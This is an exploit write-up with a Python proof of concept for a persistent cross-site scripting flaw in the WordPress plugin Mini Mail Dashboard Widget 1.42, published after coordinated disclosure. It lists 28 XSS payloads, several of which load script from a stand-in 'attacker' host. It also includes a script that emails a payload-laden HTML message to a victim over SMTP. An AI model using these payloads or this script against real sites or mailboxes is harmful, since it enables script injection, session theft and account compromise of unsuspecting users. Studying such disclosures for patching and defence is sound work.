WordPress Plugin mini mail Dashboard widget 1.42 – Persistent Cross-Site Scripting
#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: Mini Mail Dashboard Widget Version: 1.42 Software Download: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/ Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 14 Jul 2012: Version 1.43 released 08 Aug 2012: Public Disclosure Installed On: Ubuntu Server LAMP 8.04 Wordpress: 3.3.1 Client Test OS: Window XP Pro SP3 (x86) Browser Used: Internet Explorer 8 Extra note: To execute the XSS, a user needs to click 'view in HTML' Injection Point: Body Injection Payload(s): 1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 2: <SCRIPT>alert('XSS')</SCRIPT> 3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 5: <DIV STYLE="width: expression(alert('XSS'));"> 6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 7: exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> 8: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 9: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> 10: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 11: <XSS STYLE="xss:expression(alert('XSS'))"> 12: <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 13: <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> 14: <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-- 15: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT> 16: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 17: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 18: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 19: <<SCRIPT>alert("XSS");//<</SCRIPT> 20: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 21: <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> 22: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT> 23: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT> 24: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 25: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 26: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT> 27: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 28: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> ''' import smtplib, urllib2 payload = """<SCRIPT>alert('XSS')</SCRIPT>""" def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: XSS\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@offsec.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@offsec.local" smtpsrv = "172.16.84.171" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password) |